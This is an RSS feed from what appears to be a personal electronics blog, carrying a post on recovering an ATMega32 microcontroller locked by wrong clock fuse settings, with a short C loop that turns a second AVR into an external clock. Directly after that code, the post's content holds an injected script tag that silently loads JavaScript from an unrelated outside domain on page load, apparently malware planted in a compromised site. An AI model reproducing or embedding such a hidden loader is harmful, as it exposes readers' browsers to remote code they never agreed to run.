<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; jtag</title>
	<atom:link href="http://www.larsen-b.com/tags/jtag/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto recover wrong fuses settings on a AVR</title>
		<link>http://www.larsen-b.com/Article/260.html</link>
		<comments>http://www.larsen-b.com/Article/260.html#comments</comments>
		<pubDate>Sun, 15 Apr 2007 12:09:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[jtag]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday, I ran into a issue with an ATMega32. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need &#8230; <a href="http://www.larsen-b.com/Article/260.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, I ran into a issue with an <a class="reference" href="http://www.atmel.com/dyn/products/product_card.asp?part_id=2014">ATMega32</a>. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need to change some fuses. I changed the fuses with the help of the <a class="reference" href="http://palmavr.sourceforge.net/cgi-bin/fc.cgi">Avr Fuse Calculator</a>, but I messed my ATMega with the wrong clock source. I don&#8217;t know how, but I choose the low freq clock. So my ATMega was totally frozen, as the clock settings was wrong, I was unable to reflash it, and worst, unable to change the fuses.</p>
<p>After a little googling, I found there is 3 ways to fixe this kind of issue:</p>
<ul class="simple">
<li>Use a Jtag (as it doesn&#8217;t need a clocked micro)</li>
<li>Use a high voltage programmer (you can erase the fuse, with a programmer that do a parallel programming with RESET plug to a 12v PSU). This kind of programmer aren&#8217;t really easy to find. The only one I know right now is the <a class="reference" href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=2735">STK500</a></li>
<li>Use an external clock (This is what I used, and describe here)</li>
</ul>
<p>As, I don&#8217;t have any Jtag, or STK500, the only way to fix that is to use an external clock. In fact, I decided to ask on the #avr channel on freenode. And a really kool guy (&#8220;rue_mohr&#8221;) give me this tips. On every AVR micro, you can use a external clock if you messed the fuses settings. Simply plug a external clock on the clock pin (XTAL1 on the Mega32), and changes the fuses by this way.</p>
<p>Of course, you need a external clock at something like 1Mhz. Of course I don&#8217;t have this kind generator at home, but this can be easily done with another AVR micro this something like this:</p>
<pre class="literal-block">void main()
{
  DDRA = 0xFF;
  while (1)
  {
     PORTA = ~PINA;
     nop();  // added some nop, to slow the clock a bit
     nop();
   }
}</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/260.html/feed</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
	</channel>
</rss>
